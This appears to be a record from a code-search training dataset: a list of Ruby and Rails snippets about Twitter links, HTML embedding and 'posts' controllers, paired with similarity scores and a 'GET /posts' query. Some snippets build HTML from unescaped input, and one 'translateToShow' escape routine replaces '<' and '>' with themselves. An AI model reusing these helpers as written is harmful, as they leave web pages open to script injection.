"def message_for_twitter(content)\n if content and content.text\n twitter_message_link = polymorphic_url(content.parent || content).gsub(/datalogger=true/, '')\n content.text.truncate(139 - twitter_message_link.length) + ' ' + twitter_message_link\n end\n end",
"def share_on_twitter_url(object)\n url = member_url([@tier, @topic, object])\n title = object.title\n \"http://twitter.com/home?status=#{url}\"\n end",
"def embed(youtube_url)\n youtube_id = youtube_url.split(\"=\").last\n content_tag(:iframe, nil, src: \"//www.youtube.com/embed/#{youtube_id}\")\n end",
"def pretty_url\n Iconv.iconv(\"ASCII//IGNORE//TRANSLIT\", \"UTF-8\", self).join.sanitize\n rescue\n self.sanitize\n end",
"def to_html\n CGI.unescapeHTML(Riki::Base.api_request({'action' => 'parse', 'page' => @title}).first.find('/m:api/m:parse/m:text/text()').first.to_s)\n end",
"def main_url\n return nil unless twitter\n \"http://twitter.com/#{twitter.downcase}\"\n end",
"def bbcode_to_html(string); end",
"def html_markup_html(text); end",
"def tweet_link_for_new_free_episode_vland\n \t\t# TODO\n \tend",
"def fetch_text(article_url)\n\t\trequire 'open-uri'\n\t\ttext = \"\"\n\t\tfile = open(article_url)\n\t\tcontents = file.readlines\n\t\tcontents.each do |line| \n\t\t\tif line =~ /<p[^>]*>/\n\t\t\t\tline.slice!(/<p[^>]*>/)\n\t\t\t\tline.slice!(/<\\/p>/)\n\t\t\t\ttext = text + line + \"<br/>\" + \"<br/>\"\n\t\t\tend\n\t\tend\n\t\treturn text\n\tend",
"def fetch_details(attr)\n url = attr['href'].text\n if args = url.match('https?://twitter\\.com.*status/(\\d+)')\n data = @api[\"/statuses/show/#{args[1]}.json\"].get\n tweet = Yajl::Parser.parse(data.body)\n\n tags = DeliciousLetter.build_tags(attr)\n\n template = Tilt.new('templates/twitter.haml')\n html = template.render(self, tweet: tweet, url: url, tags: tags)\n text = \"#{tweet['user']['name']}:\\n#{tweet['text']}\\n#{url}\\n\\n\"\n\n {'text' => text, 'html' => html}\n end\n end",
"def get_embed_link(work)\n [get_embed_link_title(work), tag(\"br\"), get_embed_link_meta(work)].compact.join\n end",
"def twitter_link(player)\n if player.twitter_screen_name\n # clean up any bad characters in a player's twitter name\n twitter_user = player.twitter_screen_name.sub(/^.*[@\\/]/, '')\n\n link_to(\"@\" + twitter_user, \"http://twitter.com/#{twitter_user}\")\n end\n end",
"def convert_all_entities(tweet)\n log_debug { tweet.text }\n\n text = tweet.text\n\n entities = tweet.uris + tweet.user_mentions + tweet.hashtags + tweet.media\n entities.sort! {|a, b| b.indices[0] - a.indices[0] } # Reverse\n\n # Remove last entity that is a link to media or quoted Tweet or truncated.\n if entities[0] && entities[0].indices[1] == tweet.text.length\n last_entity = entities[0]\n if\n last_entity.respond_to?(:sizes) || # Responds to sizes means it is a media.\n (\n last_entity.is_a?(Twitter::Entity::URI) &&\n (tweet.truncated? || tweet.quoted_status?)\n )\n then\n log_debug { \"Last entity should be removed.\" }\n text = text[ 0 ... last_entity.indices[0] ]\n entities.shift\n end\n end\n\n # Remove all media entities from list.\n entities.delete_if {|e| e.respond_to? :sizes }\n\n if entities.any?\n log_debug { \"There are #{entities.length} entities.\" }\n\n entities.each_index do |i|\n entity = entities[i]\n previous_entity = entities[i - 1]\n next_entity = entities[i + 1]\n\n log_debug { \"#{i} #{entity.class} #{entity.indices}\" }\n\n text_before_entity = text[ 0 ... entity.indices[0] ]\n text_after_entity = text[ entity.indices[1] .. -1 ]\n\n log_debug { \"Text before entity: #{text_before_entity}\" }\n log_debug { \"Text after entity: #{text_after_entity}\" }\n\n if !previous_entity\n # Last entity in position.\n text_after_entity = h(text_after_entity)\n end\n\n if !next_entity\n # First entity in position.\n text_before_entity = h(text_before_entity)\n else\n # If there is next entity.\n text_between_next_and_current_entity = text_before_entity[ next_entity.indices[1] ... entity.indices[0] ]\n text_before_end_of_next_entity = text_before_entity[ 0 ... next_entity.indices[1] ]\n\n text_before_entity = text_before_end_of_next_entity + h(text_between_next_and_current_entity)\n end\n\n text = text_before_entity + convert_entity(entity) + text_after_entity\n\n log_debug { \"Text after converting this entity: #{text}\" }\n end\n else\n text = h(text)\n end\n\n return text\n end",
"def text_to_html (text, args = {})\n args = { emotes: false, map_headings: 1 }.merge args\n \n html = Moredown.text_to_html(text, args)\n html.gsub!('src=\"media/', 'src=\"/media/')\n html.gsub!(/<pre><code>#! (.*?)\\n([^<]*?)<\\/code><\\/pre>/) { |match| \"<pre><code class=\\\"#{$1.downcase.strip}\\\">#{$2.strip}</code></pre>\" }\n \n html\n end",
"def get_url\n Nokogiri::HTML(open(@url))\n end",
"def gen_url url, text\n scheme, url, = parse_url url\n\n \"[#{text.sub(%r{^#{scheme}:/*}i, '')}](#{url})\"\n end",
"def getTweet(tweet,rt)\n\tflds=[]\n\n\trt_original_tweetID=nil\n\tif tweet[\"retweeted_status\"]\n\t\trt_original_tweetID=tweet[\"retweeted_status\"][\"id\"]\n\tend\n\n\ttweetID=tweet[\"id\"]\n\tflds << tweetID\n\tflds << tweet[\"user\"][\"id\"]\n\tif tweet[\"created_at\"]\n\t\tflds << tweet[\"created_at\"]\n\t\tdt=DateTime.parse(tweet[\"created_at\"])\n\t\tflds << dt.strftime(\"%Y%m%d\")\n\t\tflds << dt.strftime(\"%H%M%S\")\n\telse\n\t\tflds << nil\n\t\tflds << nil\n\t\tflds << nil\n\tend\n\tflds << rt\n\tflds << rt_original_tweetID\n\tif $orgText\n\t\tflds << tweet[\"text\"]\n\telse\n\t\tif tweet[\"text\"]\n\t\t\tflds << tweet[\"text\"].gsub(\"\\r\",\"\").gsub(\"\\n\",\"\")\n\t\telse\n\t\t\tflds << nil\n\t\tend\n\tend\n\tif tweet[\"source\"]\n\t\tflds << tweet[\"source\"].gsub(/<a.*?>/,\"\").gsub(/<\\/a.*?>/,\"\")\n\telse\n\t\tflds << nil\n\tend\n\tflds << tweet[\"truncated\"]\n\tflds << tweet[\"in_reply_to_status_id\"]\n\tflds << tweet[\"in_reply_to_user_id\"]\n\tflds << tweet[\"in_reply_to_screen_name\"]\n\tdat=tweet[\"coordinates\"]\n\tif dat\n\t\tflds << dat[0]\n\t\tflds << dat[1]\n\telse\n\t\tflds << nil\n\t\tflds << nil\n\tend\n\tflds << tweet[\"contributors\"]\n\n\t#dat=tweet[\"current_user_retweet\"]\n\t#if dat\n\t#\tflds << dat[\"id\"]\n\t#else\n\t#\tflds << nil\n\t#end\n\n\tflds << tweet[\"avorite_count\"]\n\tflds << tweet[\"favorited\"]\n\tflds << tweet[\"filter_level\"]\n\tflds << tweet[\"lang\"]\n#place\tPlaces\n\tflds << tweet[\"possibly_sensitive\"]\n#scopes\tObject\n\tflds << tweet[\"retweet_count\"]\n\tflds << tweet[\"retweeted\"]\n#\tflds << tweet[\"withheld_copyright\"]\n#withheld_in_countries\tArray of String\n#\tflds << tweet[\"withheld_scope\"]\n\n\n\treturn tweetID,flds\nend",
"def _build_HTML( og, url )\n\n\t\t\ttitle = og['og:title'] || ''\n\t\t\thtml = ''\n\n\t\t\tif og.include?( 'og:video' )\n\t\t\t\thtml = '<iframe src=\"%{url}\" alt=\"%{title}\" width=\"%{width}\" height=\"%{height}\" frameborder=\"0\" allowfullscreen mozallowfullscreen webkitallowfullscreen></iframe>' % {\n\t\t\t\t\t'url' => og['og:video'],\n\t\t\t\t\t'title' => title,\n\t\t\t\t\t'width' => og['og:video:width'] || 560,\n\t\t\t\t\t'height' => og['og:video:height'] || 315\n\t\t\t\t}\n\t\t\telse\n\t\t\t\thtml = '<a href=\"%{url}\" alt=\"%{title}\">%{title}</a>' % {\n\t\t\t\t\t'url' => og['og:url'] || url,\n\t\t\t\t\t'title' => title\n\t\t\t\t}\n\t\t\tend\n\n\t\t\thtml\n\t\tend",
"def link_twitter\n\n end",
"def url\n \"http://twitter.com/#{self.username}/statuses/#{self.twitter_id}\"\n end",
"def link_check\n\t\tif self.message.include? \"https://\"\n\t\t\tarr = self.message.split\n\t\t\t# find me the index where the curly bracket area is equal to true, and set that index equal to indx\n\t\t\tindx = arr.map { |x| x.include? \"https://\"}.index(true)\n\t\t\t# take what is in the array at index # and assign it as a link attribute to the curent instance of tweet (self) \n\t\t\tself.link= arr[indx]\n\n\t\t\t# check and see if the item at array indx length is greater than 23? if so , we havfe to shorten it.\n\t\t\tif arr[indx].length > 23\n\t\t\t\tarr[indx]=\"#{arr[indx][0..20]}...\"\n\t\t\tend\n\n\t\t\tself.message= arr.join(\" \")\n\t\tend\t\n\tend",
"def post_print(url)\n post = \"I just wrote this post at #{url}:\\n #{entry}\"\n post += insights ? \"\\n<strong>insights</strong>: #{insights}\" : \"\" \n end",
"def prepare_feed_content(body)\n # Expand any relative URLs for links or images.\n body.gsub!(%r{(src|href)=([\"'])/}, '\\1=\\2https://ashfurrow.com/') unless body.nil?\n\n # Embed any YouTube videos\n require('lib/embed.rb')\n body.embed_items!\n\n # Remove width modifiers\n require('lib/modify_widths.rb')\n body.replace_width_modifiers_with! ''\n\n body\n end",
"def formatMessageText(messageText)\r\n s = 0\r\n result = \"\"\r\n while urlMatch = messageText.match(URI.regexp, s)\r\n if urlMatch.begin(0) > s\r\n result.concat(uniToHtml(messageText[s..urlMatch.begin(0)-1]))\r\n end\r\n linkable = ((urlMatch[1] == \"http\") or (urlMatch[1] == \"https\"))\r\n if linkable == true\r\n result.concat(\"<a href=\\\"\")\r\n result.concat(urlMatch[0])\r\n result.concat(\"\\\">\")\r\n end\r\n result.concat(uniToHtml(urlMatch[0]))\r\n if linkable\r\n result.concat(\"</a>\")\r\n end\r\n s = urlMatch.end(0)\r\n end\r\n result.concat(uniToHtml(messageText[s..-1]))\r\n return @emojiHelper.replaceEmojisWithImages(result)\r\n end",
"def to_link(text)\n URI::encode(@base_url + text.strip.gsub(/\\s+/, @space_replacement))\n end",
"def transform_src\n CGI.escapeHTML(@src)\n end",
"def get_snippet(id)\n # Make an API call using 'rest-client' gem\n target_url = 'https://publish.twitter.com/oembed?' \\\n 'url=https%3a%2f%2ftwitter%2ecom%2fInterior%2fstatus%2f' +\n id.to_s + '&omit_script=true'\n response = RestClient::Request.execute(\n method: :get,\n url: target_url\n )\n result = JSON.parse(response)\n\n return result['html']\n end",
"def text_with_line_breaks(text)\n #pattern for ending characters that are not part of the url\n pattern = /[\\.)]*$/\n h(text).gsub(/https?:\\/\\/\\S+/) { |link_url| link_to(link_url.gsub(pattern,\"\"), link_url.gsub(pattern,\"\")) + link_url.match(pattern)[0]}.gsub(/\\n/, \"<br />\")\n end",
"def html_markup_text(text); end",
"def tweet\n\treturn \"Tweet Tweet Twitter\"\nend",
"def prepare_target(target_message)\n target = {}\n target[:link] = target_message\n unless target[:link] == nil || target[:link].empty?\n # (not necessary /status/, but may be /statuses/, so .*?)\n all_match = (/twitter.com\\/(.*?)\\/.*?\\/(.*)/).match(target[:link].downcase)\n target[:name] = all_match[1] unless all_match == nil\n target[:sid] = all_match[2] unless all_match == nil \n # we want to get here the actual target message\n req = target[:link]\n begin\n open(req) do |f|\n data = f.read\n # get the body\n body_match = (/<span class=\"entry-content\">(.*?)<\\/span>.*<span class=\"published\">(.*?)<\\/span>/).match(data) unless data == nil\n target[:body] = body_match[1].strip unless body_match == nil\n target[:body] = \"N/A\" if body_match == nil\n # the body may contain @username, need to replace with good url\n target[:body] = target[:body].gsub(/@<a href=\\\"\\//, \"@<a href=\\\"http://twitter.com/\") \n target[:time] = Time.parse(body_match[2]) unless body_match == nil \n target[:time] = Time.now if body_match == nil \n end\n rescue\n # we can ignore here too, at least we'll show smth :-)\n end \n else\n target = nil\n end\n target\nend",
"def to_html\n w = 400\n h = 300\n id = @url.match(REGEX)[1]\n embed_image = \"#{BASE_URL}/embed.html?mid=#{id}&width=#{w}&height=#{h}&etp=im\"\n embed_3d = \"#{BASE_URL}/embed.html?mid=#{id}&width=#{w}&height=#{h}\"\n <<HTML\n<div class=\"onebox-3dwh\" id=\"#{id}\">\n <iframe src=\"#{embed_image}\" frameborder=\"0\" scrolling=\"no\" marginheight=\"0\" marginwidth=\"0\" width=\"#{w}\" height=\"#{h}\" allowfullscreen></iframe>\n <div class=\"onebox-3dwh-circle\" onclick=\"$('##{id} iframe').attr('src', '#{embed_3d}'); $(this).remove()\" />\n</div>\nHTML\n end",
"def format_link(url_pair)\n # image display output\n if url_pair[:format] == :image\n return \"<div class='image'>\\n <div class='image-inner'>\\n <a href='\" + \n url_pair[:post_url] + \n \"' target='_blank'>\\n <img src='\" +\n url_pair[:image_url] +\n \"'>\\n </a>\\n </div>\\n</div>\"\n end\n\n # imgur gifv output\n if url_pair[:format] == :gifv\n return \"<div class='video-container'>\\n <div class='video-inner'>\\n <a href='\" +\n url_pair[:post_url] +\n \"' target='_blank'>\\n <video autoplay='autoplay' type='video/mp4' id='video' loop='loop' muted='muted' preload='auto' src='\" +\n url_pair[:image_url] +\n \"'></video>\\n </a>\\n </div>\\n</div>\"\n end\n end",
"def imgify(tweet)\n return tweet\nend",
"def translateToShow(str)\n @result = str\n @result.gsub!(/</, '<')\n @result.gsub!(/>/, '>')\n @result.gsub!(/\\*{2}(.+)\\*{2}/, '<b>\\1</b>')\n @result.gsub!(/\\\\{2}(.+)\\\\{2}/, '<i>\\1</i>')\n @result.gsub!(/\\({2}((\\/[\\S]+)+)\\s+(.+)\\){2}/, '<a href=\"\\1\">\\3</a>')\n return @result\n end",
"def get_http string\n images =[]\n string.split('\"').each do |word|\n if((word.match /[h][t][t][p][a-z]*/).to_s.length>1)\n images.insert(-1,word)\n end\n end\n return images.to_sentence\n end"
] | [
"0.710995",
"0.6929726",
"0.6837478",
"0.6693981",
"0.6689455",
"0.6619641",
"0.6617473",
"0.6562044",
"0.65238196",
"0.6424935",
"0.6424891",
"0.6330949",
"0.6195169",
"0.6166195",
"0.61651456",
"0.6139545",
"0.6068261",
"0.6060905",
"0.6051543",
"0.6040017",
"0.60272753",
"0.6008638",
"0.59307915",
"0.59202236",
"0.5905485",
"0.5881955",
"0.5881855",
"0.5863691",
"0.58528423",
"0.5847311",
"0.58194035",
"0.5812669",
"0.58045757",
"0.5798746",
"0.5775444",
"0.57448924",
"0.573657",
"0.57244766",
"0.57230467",
"0.5718399",
"0.57083344",
"0.5706204",
"0.56829154",
"0.5680892",
"0.5674922",
"0.5673458",
"0.5666742",
"0.56632626",
"0.565982",
"0.56537336",
"0.56414205",
"0.5639966",
"0.56278807",
"0.56154484",
"0.56094617",
"0.5606523",
"0.5599647",
"0.5598166",
"0.5593359",
"0.55885196",
"0.5585455",
"0.557071",
"0.5570524",
"0.5544017",
"0.55434114",
"0.5538203",
"0.5536012",
"0.55072504",
"0.55037546",
"0.5486629",
"0.5458186",
"0.5457181",
"0.54401666",
"0.54284966",
"0.5420612",
"0.54147786",
"0.5406079",
"0.5401259",
"0.5395767",
"0.5394109",
"0.53929496",
"0.53905",
"0.5383638",
"0.5367986",
"0.5363834",
"0.53580135",
"0.53526986",
"0.5351884",
"0.5350601",
"0.53495413",
"0.5343234",
"0.533998",
"0.53342533",
"0.53273386",
"0.5326394",
"0.53168494",
"0.53144354",
"0.53130877",
"0.53109425"
] | 0.7629559 | 1 |
GET /posts GET /posts.json | def index
#if user is a author then show him all his posts.
if current_user.role != "reader"
@posts = Post.where(user_id: current_user.id )
#if user is an reader then show him all this posts of authors that he is subscribed to.
else
user = User.where(id: current_user.id)
@subscribed_authors = user.first.subscribers
#to save relevant posts form all the subscribers
@posts = Post.where(user_id: @subscribed_authors.ids)
end
#deburger
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def show\n @posts = Post.find(params[:id])\n render json: @posts\n end",
"def index\n @posts = Post.all\n render json: @posts\n end",
"def index\n @posts = Post.all\n\n render json: @posts\n end",
"def index\n @posts = Post.all\n\n render json: @posts\n end",
"def index\n @posts = Post.all\n render json: @posts\n end",
"def index\n\n @posts = Post.all\n\n render json: @posts, status: 200\n end",
"def index\n @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n end",
"def index\n @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n end",
"def index\n @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n end",
"def index\n @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json {render json: @posts}\n end\n end",
"def index\n render json: { posts: Post.all }\n end",
"def index\n @posts = Post.order(\"created_at DESC\").includes(:user)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n end",
"def index\n @posts = Post.all\n respond_to do |format|\n format.html #index.html.erb\n format.json { render json: @posts }\n end\n end",
"def index\n\n @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @posts }\n end\n end",
"def index\n @posts = Post.all\n \n render json: @posts\n end",
"def show\n @post = Post.find(params[:id])\n\n render json: @post\n end",
"def show\n post = Post.find(params[:id])\n render json: post\n end",
"def show\r\n post = Post.find(params[:id])\r\n render json: post\r\n end",
"def display_posts\n begin\n response = RestClient.get \"#{@@DOMAIN}/api/posts.json?all\", authorization_hash\n\n puts \"Response code: #{response.code}\"\n puts \"Response cookies:\\n #{response.cookies}\\n\\n\"\n puts \"Response headers:\\n #{response.headers}\\n\\n\"\n puts \"Response content:\\n #{response.to_str}\"\n\n js = JSON response.body\n js.each do |item_hash|\n item_hash.each do |k, v|\n puts \"#{k}: #{v}\"\n end\n end\n rescue => e\n puts STDERR, \"Error accessing REST service. Error: #{e}\"\n end\n end",
"def posts(opts)\n response = get(\"posts\", opts)\n response\n end",
"def index\n @posts = Post.all.order(created_at: :asc)\n json_response(@posts)\n end",
"def show\n \trender json: Post.find(params[:id])\n end",
"def index\n render json: Post.all\n end",
"def show\n\t \trender json: Post.find(params[:id])\n\t end",
"def show\n @user = User.find(params[:user_id])\n @post = @user.posts.find(params[:id])\n\n render json: @post\n end",
"def index\n @posts = Post.paginate(:page => params[:page], :per_page => 10).order('id DESC')\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n end",
"def show\n render json: Post.find(params[\"id\"])\n end",
"def index\n render json: { posts: current_user.posts.all.map(&:to_h) }\n end",
"def index\n @posts = Post.all\n @posts = paginate(@posts)\n authorize @posts\n\n render json: @posts, each_serializer: Api::V1::PostSerializer, meta: meta_attributes(@posts)\n end",
"def index\n @posts = Mist::Post.recently_published(20, Mist.authorized?(:view_drafts, self))\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @posts }\n end\n end",
"def show\n @user = User.find(params[:id])\n @posts = @user.posts\n\n respond_to do |format|\n format.json { render json: {user: User._build(@user), posts: Post.build_posts(@posts)}, location: root_path }\n end\n end",
"def show\n render json: @post\n end",
"def show\n render json: @post\n end",
"def index\n\t\tgon.posts = Post.all.as_json\n\tend",
"def index\n # @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n # format.json { render json: @posts }\n end\n end",
"def index\n @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n format.atom\n end\n end",
"def get(options = {})\n response= handle_errors { self.class.get('/get', :query => options)}\n if response[\"posts\"][\"post\"].is_a?(Hash)\n Rubycious::Post.new response[\"posts\"][\"post\"]\n elsif response[\"posts\"][\"post\"].is_a?(Array)\n response[\"posts\"][\"post\"].collect{|i| Rubycious::Post.new(i)}\n else\n nil\n end\n end",
"def index\n\n # We display the posts be cronological inverted order\n if authenticated?\n @posts = Post.order('created_at DESC').page(params[:page])\n else\n @posts = Post.order('created_at DESC').where(:status => :true).page(params[:page])\n end\n \n respond_to do |format|\n format.html { render html: @posts }\n format.json { render json: @posts }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n \n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @post }\n end\n end",
"def show\n @posts = @game.posts.order(created_at: :desc).paginate(page: params[:page], per_page: 5)\n respond_to do |format|\n format.json { render template: 'api/games/game.json' }\n end\n end",
"def show\n post = Post.find_by(id: params[:id])\n if post \n render json: post\n else\n render json: {errors: 'Not found'}\n end\n end",
"def show\n render :json => @post\n end",
"def get(options = EMPTY_HASH)\n parameters = Specification.new(\n tag: Types::Tags,\n dt: Types::Time,\n url: Types::URL,\n meta: Types::Boolean\n ).parameters(options)\n posts_from client.get(\"/posts/get\", parameters)\n end",
"def index\n @posts = Post.all\n # Post.all returns all of the posts currently in the \n # database as an array of Post records that we store \n # in an instance variable called @posts.\n # http://guides.rubyonrails.org/active_record_querying.html\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n # The respond_to block handles both HTML and JSON calls \n # to this action. If you browse to \n # http://localhost:3000/posts.json, you’ll see a JSON \n # containing all of the posts. \n end",
"def show\n render json: @post, serializer: Api::V1::PostSerializer\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @post }\n end\n end",
"def index\n @posts = PostService.getAllPosts\n end",
"def show\n respond_to do |format|\n format.html\n format.json { render jsonapi: @post }\n end\n end",
"def index\n #@posts = Post.all\n @posts = Post.paginate( :page => params[:page],\n :per_page => 2\n )\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n end",
"def show\n @post = Post.where(:id => params[:id]).first\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def index\n\t@posts = list_posts\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n #format.json { render json: @post }\n format.json do\n render :json => @post.to_json(:only => [:id, :title, :text, :lat, :lng, :created_at, :post_type, :likes], \n :methods => [:image_url, :video_url], \n :include => [:comments])\n end\n end\n end",
"def index\n @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n format.xml { render xml: @posts }\n end\n end",
"def posts_list\n posts = Post.all.published.order(score: :desc, created_at: :desc)\n post_tags = Post.published.order(score: :desc, created_at: :desc).map { |post| Post.includes(:tags, :taggings).find_by(id: post.id).tags }\n categories = Category.all\n tags = Tag.all\n\n render_json(posts: posts, categories: categories, tags: tags, post_tags: post_tags)\n end",
"def index\n @posts = Post.all.order_by([:date_published, :desc]).page(params[:page]).per(20)\n #authorize! if cannot? :read, @posts\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n end",
"def show\n @post ||= Mist::Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @post }\n end\n end",
"def index\n page = params[:page]\n per_page = params[:per_page]\n\n posts = Post.order(published_at: :desc).page(page).per(per_page)\n\n # Передаём в заголовке общее количество страниц и записей.\n response.headers['Total-Pages'] = posts.total_pages\n response.headers['Total-Count'] = posts.total_count\n\n render json: posts\n end",
"def index\n render json: Post.all.order(id: :desc), each_serializer: V1::Posts::PostSerializer\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.json { render json: @post }\n format.xml { render xml: @posts }\n end\n end",
"def posts\n posts = @client.entries(content_type: 'post').items\n posts || []\n end",
"def show\n @post = Post.find(params[:id])\n \n respond_to do |format|\n format.html { render 'application/index' }\n format.json { render :json => { :post => @post.as_json } }\n end\n end",
"def show\r\n @post = root_post_of(Post.find(params[:id]))\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.json { render json: @post }\r\n end\r\n end",
"def index\n @posts = Post.order(created_at: :desc)\n respond_to do |format|\n format.html { render }\n format.text { render }\n format.xml { render xml: @posts }\n format.json { render json: @posts.to_json }\n end\n end",
"def index\n @art_posts = ArtPost.all\n\n render json: @art_posts\n end",
"def index\n per_page = params[:per_page] ? params[:per_page] : Post::PER_PAGE\n @posts = Post.by_published_date.paginate(page: params[:page], per_page: per_page)\n # Set count of posts and count of pages to query headers\n add_headers\n render json: @posts\n end",
"def show\n render json: {\n data: @post\n }\n end",
"def show\n @feed = Feed.find(params[:id])\n @posts = @feed.posts.order(\"published desc\").paginate(:page => params[:page], :per_page => 20)\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @feed }\n end\n end",
"def index\n # TODO: implement listing all posts\n end",
"def index\n @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts, :include => :tags }\n end\n end",
"def list\n comments = Comment.where(post: @post)\n render json: comments, status: 200\n end",
"def show\n @post = current_user.posts.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @post }\n end\n end",
"def index\n\t \tif params[:title]\n\t\t render json: Post.search(params[:title])\n \t\telse\n\t \trender json: Post.all\n \tend\n\t end",
"def index\n unless can?(:manage, Post)\n @posts = @posts.published\n end\n \n respond_with @posts\n end",
"def index\n @posts = Post.all\n respond_with(@posts)\n end",
"def index\n @posts = Post.all.reverse\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n end",
"def index\n render json: current_user.posts.all\n # TODO order posts alphabetically\n end",
"def index\n @posts = Post.includes(:author, channel: [:posts]).order(created_at: :desc)\n @posts = @posts.where(channel: @channel) if params[:channel_id]\n @posts = @posts.page(params[:page])\n\n respond_to do |format|\n format.html\n format.json { render jsonapi: @posts }\n end\n end",
"def show\n #@post = Post.find(params[:id])\n\n #respond_to do |format|\n # format.html # show.html.erb\n #format.json { render json: @post }\n #end\n end",
"def index\n @page = params[:page] || 1\n @posts = @exchange.posts.page(@page, context: 0).for_view\n respond_to do |format|\n format.json do\n serializer = PostSerializer.new(\n @posts,\n links: { self: paginated_json_path(@posts.current_page),\n next: paginated_json_path(@posts.next_page),\n previous: paginated_json_path(@posts.previous_page) },\n include: %i[user]\n )\n render json: serializer.serialized_json\n end\n end\n end",
"def index\n @postos = Posto.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @postos }\n end\n end",
"def show\n @post = Post.find(params[:id])\n render json: @post, meta: { status: :ok }, meta_key: 'result'\n end",
"def show\n # @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n # format.json { render json: @post }\n end\n end",
"def index\n @api_v1_posts = Api::V1::Post.all\n end",
"def index\n @posts = Post.order(\"created_at DESC\").where(:published => true).limit(5)\n @title = \"Home\"\n @description = \"the blog and website of bassist and programmer Johnny Grubb. no baseball information here.\"\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n format.xml\n end\n end",
"def index\n respond_with Post.all\n end"
] | [
"0.7865315",
"0.7494904",
"0.7494433",
"0.7494433",
"0.7488696",
"0.74314564",
"0.728645",
"0.728645",
"0.728645",
"0.72562826",
"0.72522277",
"0.7247287",
"0.7246305",
"0.72221965",
"0.72042215",
"0.72039723",
"0.7169929",
"0.71689725",
"0.71644753",
"0.7121855",
"0.71152896",
"0.7108617",
"0.70960873",
"0.7071454",
"0.7063796",
"0.70486146",
"0.7044637",
"0.7029959",
"0.69793427",
"0.6957234",
"0.6945899",
"0.6921306",
"0.6918641",
"0.6897198",
"0.689313",
"0.6890521",
"0.68769336",
"0.6876437",
"0.6865055",
"0.6865055",
"0.6865055",
"0.6865055",
"0.6865055",
"0.6865055",
"0.6865055",
"0.6865055",
"0.6865055",
"0.6865055",
"0.6865055",
"0.6865055",
"0.6865055",
"0.6865055",
"0.6856369",
"0.6854135",
"0.68492866",
"0.6837785",
"0.6814047",
"0.67974555",
"0.67884254",
"0.6782457",
"0.6779375",
"0.6779375",
"0.6770256",
"0.67645854",
"0.6760845",
"0.6751376",
"0.6740988",
"0.6720944",
"0.6703801",
"0.66790265",
"0.6662053",
"0.6649574",
"0.66334385",
"0.6629263",
"0.66292495",
"0.6625863",
"0.6625277",
"0.6619148",
"0.6612677",
"0.6612347",
"0.659554",
"0.65946317",
"0.6584386",
"0.6583931",
"0.6578741",
"0.6564504",
"0.6556115",
